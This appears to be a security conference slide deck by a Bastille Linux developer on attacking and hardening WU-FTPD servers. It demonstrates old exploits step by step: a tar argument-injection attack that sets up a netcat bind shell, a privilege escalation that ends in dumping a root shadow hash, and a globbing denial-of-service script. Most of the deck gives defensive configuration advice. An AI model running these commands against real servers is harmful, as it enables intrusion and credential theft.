Attacking and Securing Unix FTP Servers

Jay Beale
President, JJB Security Consulting
Lead Developer, Bastille Linux
Contents

Simple:

- Working exploits against WU-FTPD
- Configuring WU-FTPD against attack
- Defeated exploits against WU-FTPD

Where we’ve got working exploits, we’ll focus on demonstration rather than lecture.
FTP Conversion Vulnerability

Not a buffer overflow!

Uses the “tar files up for me” feature in WU-FTPD.

Target: WU-FTPD 2.4.x - 2.6.0
(RH <=6.2, SuSE <=7.3, Immunix <=6.2)

(http://online.securityfocus.com/bid/2240/)
Preparing to Exploit

$ cat > script
#!/bin/bash
nc -l -p 6666 -e /bin/bash
<CTRL-D>
$ tar -cf b.tar nc script
$ cat >blah
#
.tar -xf b.tar
./script
<CTRL-D>
Exploiting...

```bash
$ csh
$ echo > '--use-compress-program=bash blah'

$ ftp target   (login as user)
ftp> put b.tar
ftp> put blah
ftp> put "--use-compress-program=bash blah"
ftp> get "use-compress-program=bash blah".tar
```
Remote shell

$ nc target 6666

We’ve got a remote shell with the privileges of the user we logged in as.

If we want a rootshell, we just bring a privilege escalator with us...

(Credits to SUID and Securiteam)
Rootshell?

$ tar -cf b.tar nc script userrooter.sh

ftp target  (login as same user)
ftp> put b.tar
ftp> get "--use-compress-program=bash blah".tar

$ nc target 6666
./userrooter.sh
userrooter by S
grep root /etc/shadow
root:$1$MU.tGav3$X8WISNGV92c.Oxfe0pvqb1:11870:0:9999:
9:7:-1:-1:134538460
Joy.

This exploit is harder to pull off on an anonymous login, but possible.

It’s tougher to pull off, mostly because we’re chrooted without far to go, with only user ftp.

We can use this to defend normal user access.
Avoidance

We can avoid this exploit by configuring the FTP daemon to disallow tar-ring/compression.

We can also make sure that anonymous users can’t retrieve the files that they place on the server. Files to be downloaded again should probably be examined individually.

Finally, we’ll look at a path filter later in this talk.
Sample /etc/ftpaccess

class real,guest,anonymous *
email root@localhost
message /welcome.msg login
message .message cwd=*
compress yes all
tar yes all
chmod no guest,anonymous
delete no guest,anonymous
overwrite no guest,anonymous
rename no guest,anonymous
log transfers anonymous,real
        inbound,outbound
passwd-check rfc822 warn
Deactivating tar, compress...

We can avoid this exploit by configuring the FTP daemon to disallow tar-ring/compression in /etc/ftpaccess:

- compress no all
- tar no all
- chmod no anonymous
- delete no anonymous
- overwrite no anonymous
- rename no anonymous
Anonymous upload is dangerous enough. We can lessen the risk greatly. First, set good perms:

```bash
mkdir /home/ftp/incoming
chown root:root /home/ftp/incoming
chmod 333 /home/ftp/incoming
chmod a-w /home/ftp
```
Second, configure default permissions for all incoming files, via /etc/ftpaccess:

Upload /home/ftp /incoming yes
root ftp 0600 nodirs
Noretrieve /home/ftp/incoming
FTP globbing Vulnerability 1

Denial of Service

#!/bin/bash
ftp -n FTP-SERVER<<\end
quot user anonymous
bin
quot pass shitold@bug.com
ls
 /../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
/end
bye

(http://online.securityfocus.com/bid/2496)
FTP globbing Vulnerability 1

Targets:
WU-FTPD <=2.6.0 (RH 6.2, SuSE 7.3)
ProFTPD <=1.2.1

Other targets:
MacOS 10.0.0, 10.0.1
Solaris 8
HP-UX 11.11 (11i)
Avoidance / Containment

We can stop this from taking over the system by putting good resource limits in.

We’ll also look at a path filter in the FTP daemon configuration.
FTP globbing Vulnerability #2

WU-FTPD 2.6.1 had a heap corruption vulnerability in the globbing code.

http://online.securityfocus.com/bid/3581
FTP globbing Vulnerability #2

Targets:
WU-FTPD <=2.6.1
RH 7.2, SuSE 7.3, Mdk 8.1

Exploit is believed to be in circulation, but not publically available.
Testing Vulnerability

Name (127.0.0.1:jay): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ~{
227 Entering Passive Mode (127,0,0,1,116,136)
421 Service not available, remote server has closed connection
Avoidance

This is in the globbing code, which we can’t shut off. There are no permissions checks on files or other settings that we can tweak.

Since an authenticated session is required, the only way to avoid this is to prevent the attacker from logging in.
If we’re running only an anonymous FTP server, we can set inetd/xinetd to always run it as user ftp, forcing anyone logging in to get only user ftp and to possibly get stuck in a chroot.
Site_Exec

WU-FTPD had a serious format string vulnerability in the SITE EXEC functionality.

Even from simple anonymous access, this got you all the way to root.

http://online.securityfocus.com/bid/1387
Targets:

WU-FTPD <= 2.6.0
RH <= 6.2, SuSE <= 7.3
HP-UX <= 11.11 (11i)
Avoidance?

SITE EXEC can’t be deactivated. But there is hope.

If you only need WU-FTPD for anonymous upload/download, set inetd/xinetd to run in.ftpd as the ftp user, instead of root.
Avoidance?

/etc/xinetd.d/wu-ftp

service ftpd {
    socket_type = stream
    wait = no
    User = ftp
    ...
}

inetd.conf

ftp stream tcp nowait ftp
    /usr/sbin/tcpd in.ftpd -l -a
Containment

Chrooting won’t stop the attacker if he’s root.

Root can break out of chroots on many operating systems.

Don’t trust the app to drop privilege – try to never give it extra privilege to drop.
WU-FTpd optionally offers messages when you login, change directory, trigger an error condition,... As a feature, these can include a number of “magic cookies,” which WU-FTpd will substitute for, like:

%R - client hostname
%N - number of users in a class
Message Buffer Overflow

There’s a buffer overflow condition in WU-FTPd’s handling of these.

http://online.securityfocus.com/bid/726

Is this a threat?
Are we vulnerable?

On the positive side, most sites don’t use these by default. Then again, let’s look at a popular default /etc/ftpaccess file:

```
# Messages displayed to the user
message /welcome.msg            login
message .message                cwd=* 

Problem: if an attacker can write to any directory that doesn’t have a .message file yet, he wins. (Spot the other one?)
```
Avoidance

We can avoid this by not letting an attacker write to any directory. If this isn’t possible, we can block him from writing to any file that begins in a “.”

Finally, we can make sure that the FTP area has good permissions on its root directory.
Avoidance

path-filter anonymous /etc/error ^[-A-Za-z0-9\._]*$ ^\. ^-

For any file to get through, it must match the first pattern and not match any of the following.

Note that this stops both the message exploit here and the earlier tar vuln.
More Avoidance

We can also remove all the messages from our configuration file, though this is difficult, since they’re pervasive.

Finally, we can make sure that anonymous users can’t upload files. If we have real users, though, it gets difficult.
More Avoidance

# Removing messages from /etc/ftpaccess

$ grep -v message /etc/ftpaccess > /etc/ftpaccess.new
$ mv /etc/ftpaccess.new /etc/ftpaccess
Avoidance is really better here, but we can definitely try to contain the damage.

We can contain the damage by running an anonymous-only FTP server, set by inetd/xinetd to always run as a non-root user. Remember, anonymous FTP is automatically chrooted.
Additional Measures

Log more, by adding this to ftpaccess:

log security anonymous, guest, real
log commands anonymous, guest, real

And add “real” to the list of users for whom we log transfers.
Go Beyond ftpusers

The traditional way of making sure that only real humans used ftp, and not system accounts, was to periodically make sure all non-humans were in /etc/ftpusers.

Now, just do this in ftpaccess:

deny-uid %\(-499\)  (replace 499 w/ max non-human
deny-gid %\(-499\) uid/gid here)
allow-uid ftp
allow-gid ftp
Worms and Autorooters

On top of all this, there are worms, mass rooters and autorooters which automatically scan for and exploit vulnerabilities.

The HoneyNet project had a system scanned and compromised by a worm within **92 seconds** of it coming online.
Most of the worms sacrifice intelligence for speed.

Ramen scans FTP server banners for build dates.

Don’t give away the information and this worm won’t even try to attack.
Minimizing Your Banner

In WU-FTPh's /etc/ftpaccess, add/change line: greeting terse

Name (192.168.2.3:jay):

becomes:

220 FTP server ready.
Name (192.168.2.3:jay):
Choosing Your Own Banner

Then again, that makes it easier to spot WU-FTPD for a saavy attacker. So, make your own line!

greeting text FTP Server Here

220 FTP Server here
Name (192.168.2.3:jay):
Alternatives to WU-FTPd

- You can also avoid the pain of trying to dodge or contain all the ftpd root vulns.
- ProFTPD has a slightly better security history.
- OpenBSD’s ftpd has a bad security history.
vsftpd

- vsftpd actually has never had a security issue.
- vsftpd doesn’t use external programs like ls and tar. Remember that our first vulnerability came from WU-FTPD using tar!
vsftpd uses multiple processes:

- **Parent**: small, simple, with privilege for:
  - attaching to <1024 ports
  - invoking processes as arbitrary connecting users
vsftpd uses multiple processes:

- **Child**: larger, handles all network communication and parsing
Very solid architecture:

- Everything possible is chrooted.
- Parent/child communicate over a socket: child gives auth data to parent, which then can spawn a new child to handle any auth’d connections. User doesn’t directly interact with root!
- Linux capabilities limit root.
Alternatives to FTP

Even better, get away from FTP!

HTTP for anonymous file distribution.

SFTP (SSH) for authenticated file movement.
Go Change Your Environment!

Too many times, someone attends my talk and sets “harden my servers” as a low priority/procrastination point. Then they call me later when they get hacked to do forensics or to help them harden after they do a complete rebuild.

If you can, please fix it now, before the next attack.
DefCon Talks

I’ll be speaking at DefCon on how to harden Apache servers and on the Bastille Project, which tightens Linux and HP-UX systems.